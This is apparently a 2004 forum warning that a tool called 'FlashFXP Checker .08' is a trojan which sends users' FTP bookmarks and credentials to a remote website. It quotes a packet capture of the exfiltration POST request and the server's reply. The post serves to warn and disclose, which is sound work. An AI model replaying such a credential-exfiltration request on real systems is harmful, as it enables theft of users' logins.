**Warning** Read - New Trojan

As reported on the FlashFXP forums and http://www.dslreports.com/forum/remark,9068820~mode=flat

There is a new program called FlashFXP Checker .08 that says it will check which bookmarks are good and which are no longer good and put a ! in front of the good ones.

It's actually scanning your bookmarks and sending them to a website along with username / password.

Ethereal captures this:

Code:

POST /fxpcheck.asp HTTP/1.0Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 87Host: fxpcheck.furke.nlAccept: text/html, */*User-Agent: Mozilla/3.0 (compatible; Indy Library) 1/14/2004 7:30:01 AM&-------------------&»ftp://anonymous:qqq@qqq.qqq@ftp.uu.net:21/tm..

server replied with this

Code:

HTTP/1.1 200 OKServer: Microsoft-IIS/5.1Date: Wed, 14 Jan 2004 12:29:50 GMTConnection: keep-aliveConnection: Keep-AliveContent-Length: 0Content-Type: text/htmlSet-Cookie: ASPSESSIONIDAATQBSBD=FCNFFLGCAOJKEMHBBMDLCNBO; path=/Cache-control: private

Thanx to MxxCon for the Ethereal info.

There's more info at the URLs I posted above.


- Fixed link to DSL Security Forum - LWM